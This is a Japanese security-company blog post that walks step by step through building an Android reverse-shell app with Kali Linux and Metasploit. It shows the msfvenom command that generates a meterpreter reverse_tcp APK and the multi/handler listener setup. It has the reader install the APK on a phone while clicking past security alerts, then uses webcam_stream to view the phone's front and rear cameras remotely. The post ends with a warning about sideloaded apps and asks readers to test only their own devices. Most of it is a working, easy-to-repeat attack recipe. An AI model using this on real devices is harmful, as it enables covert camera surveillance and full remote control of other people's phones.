このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
HTTP Reverse Shellを行うAndroidアプリ
2021年最初のArmoris日記ではKali Linuxを使用してHTTP Reverse Shellを行うアプリを作成し、検証端末のカメラ映像取得を試します。
検証には自身で管理する端末を使用し、自己責任でお願いします
今回はツールを使用してAndroidアプリを作成するため、JavaやAndroidアプリに関する知識がなくても簡単に試すことができます。
検証環境
検証にあたり使用した環境とバージョンは以下のとおりです。
検証環境準備
まずはAndroidアプリを作成するためのツールを準備します。
まずはapktool
をインストールします。
公式:APKTOOL
root@kali-linux:~# cd /usr/local/bin
root@kali-linux:/usr/local/bin# wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/osx/apktool
root@kali-linux:/usr/local/bin# wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.5.0.jar
root@kali-linux:/usr/local/bin# chmod a+x ./
インストールの確認
root@kali-linux:/usr/local/bin# apktool -v
Apktool v2.5.0 - a tool for reengineering Android apk files
with smali v2.4.0 and baksmali v2.4.0
Copyright 2010 Ryszard Wiśniewski
Copyright 2010 Connor Tumbleson
usage: apktool
-advance,--advanced prints advance information.
-version,--version prints the version then exits
usage: apktool if|install-framework [options]
-p,--frame-path Stores framework files into .
-t,--tag Tag frameworks using .
usage: apktool d[ecode] [options]
-f,--force Force delete destination directory.
-o,--output The name of folder that gets written. Default is apk.out
-p,--frame-path Uses framework files located in .
-r,--no-res Do not decode resources.
-s,--no-src Do not decode sources.
-t,--frame-tag Uses framework files tagged by .
usage: apktool b[uild] [options]
-f,--force-all Skip changes detection and build all files.
-o,--output The name of apk that gets written. Default is dist/name.apk
-p,--frame-path Uses framework files located in .
For additional info, see: https://ibotpeaches.github.io/Apktool/
For smali/baksmali info, see: https://github.com/JesusFreke/smali
zipalignをインストールします。
root@kali-linux:/usr/local/bin# apt -y install zipalign
関連パッケージをインストールします。
root@kali-linux:/usr/local/bin# apt -y install lib32stdc++6 lib32z1 lib32z1-dev
ペイロード作成
各種インストールが完了したら実際にAndroid用のapkを作成します。
LHOST
/LPORT
は自身の環境に合わせて設定します。
root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=6544 -o ./payload.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
Saved as: ./payload.apk
root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# ls
payload.apk
ペイロード実行
ペイロードの生成が完了したら検証端末にインストールして実行します。
まずはKali Linuxで接続を待ち受けます。
┌──(user㉿kali-linux)-[~/Desktop/Android-app-ReverseHTTP]
└─$ msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE
true
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.50.131
lhost => 192.168.50.131
msf6 exploit(multi/handler) > set lport 6544
lport => 6544
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.50.131 yes The listen address (an interface may be specified)
LPORT 6544 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.50.131:6544
検証端末にpayload.apkをインストールします。
インストールを選択すると以下のようにアラートが出る場合がありますが、そのままインストールするを選択します。
以下のようアラートが出る場合は送信しないを選択します。
画像のような画面になったら開くを選択します。
開くを選択すると以下のようにセッションが確立されます。
[*] Started reverse TCP handler on 192.168.50.131:6544
[*] Sending stage (76756 bytes) to 192.168.50.149
[*] Meterpreter session 5 opened (192.168.50.131:6544 -> 192.168.50.149:38322) at 2021-01-08 19:49:06 +0900
meterpreter >
カメラ映像を取得
いよいよ本題であるカメラ映像の取得を試します。
セッションが確立したmeterpreterで以下のコマンドを実行します。
meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...
コマンド実行後自動的にブラウザが立ち上がり以下のようにカメラ映像を取得することができます。
この時のKali Linuxでのログは以下のようになっています。
ログを見ると画像データを定期的に取得して表示していることがわかります。
meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...
[18470:18470:0108/170434.257084:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[18511:18511:0108/170434.447249:ERROR:vaapi_wrapper.cc(480)] vaInitialize failed: unknown libva error
[18511:18511:0108/170434.479745:ERROR:sandbox_linux.cc(374)] InitializeSandbox() called with multiple threads in process gpu-process.
Corrupt JPEG data: premature end of data segment
Corrupt JPEG data: 200370 extraneous bytes before marker 0xd9
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 399 extraneous bytes before marker 0xd2
Corrupt JPEG data: 143 extraneous bytes before marker 0xd2
Corrupt JPEG data: 24 extraneous bytes before marker 0xfd
Corrupt JPEG data: 271 extraneous bytes before marker 0xd2
Corrupt JPEG data: 328 extraneous bytes before marker 0x13
Corrupt JPEG data: premature end of data segment
[18470:18470:0108/170617.294903:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
[18470:18470:0108/170617.327342:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
Corrupt JPEG data: 7 extraneous bytes before marker 0xd9
Corrupt JPEG data: 456 extraneous bytes before marker 0x13
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
コマンド実行時の-i
オプションの数字を2にすることで内側のカメラ映像を取得することができます。
この時対象端末でカメラアプリを起動使用すると以下のようにエラーが発生します。
最後に
今回はHTTP Reverse Shellを仕込んだAndroidアプリを作成し、実際に端末のカメラから映像を取得しました。手順を見てもわかるように、Payloadアプリの作成から映像取得まで容易に行うことが確認できたと思います。
また、インストール時の許可設定も非常に多くほぼ全ての権限を要求しています。
今後公式ストア以外から直接.apk
ファイルをダウンロードしてインストールする場合は、権限の要求内容などもよく確認してみてください。
検証には自身で管理する端末を使用し、自己責任でお願いします